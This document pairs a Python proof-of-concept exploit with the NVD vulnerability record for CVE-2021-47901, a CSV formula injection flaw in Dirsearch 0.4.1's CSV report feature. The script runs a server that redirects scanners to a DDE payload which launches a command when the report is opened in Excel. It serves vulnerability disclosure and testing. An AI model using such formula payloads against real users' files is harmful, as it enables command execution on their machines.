CVE-2021-47901

import http.server import socketserver # Malicious redirect server to demonstrate CSV injection class CSVInjectionHandler(http.server.SimpleHTTPRequestHandler): def do_GET(self): # Inject Excel formula through redirect # =cmd|' /C calc'!A0 will execute calc on Windows malicious_path = "=cmd|' /C calc'!A0" self.send_response(302) self.send_header('Location', malicious_path) self.end_headers() PORT = 8888 Handler = CSVInjectionHandler print(f"Malicious server running on port {PORT}") print(f"Redirects to: {malicious_path}") print("\nUsage with dirsearch:") print(f"python3 dirsearch.py -u http://localhost:{PORT}/ -csv-report output.csv") print("\nWhen output.csv is opened in Excel, the formula will be executed.") with socketserver.TCPServer(('', PORT), Handler) as httpd: httpd.serve_forever()

{"cve": {"id": "CVE-2021-47901", "sourceIdentifier": "[email protected]", "published": "2026-01-27T16:16:13.113", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dirsearch 0.4.1 contains a CSV injection vulnerability when using the --csv-report flag that allows attackers to inject formulas through redirected endpoints. Attackers can craft malicious server redirects with comma-separated paths containing Excel formulas to manipulate the generated CSV report."}, {"lang": "es", "value": "Dirsearch 0.4.1 contiene una vulnerabilidad de inyección CSV al usar la bandera --csv-report que permite a los atacantes inyectar fórmulas a través de puntos finales redirigidos. Los atacantes pueden crear redirecciones de servidor maliciosas con rutas separadas por comas que contienen fórmulas de Excel para manipular el informe CSV generado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1236"}]}], "references": [{"url": "https://github.com/maurosoria/dirsearch", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49370", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/dirsearch-csv-injection", "source": "[email protected]"}]}}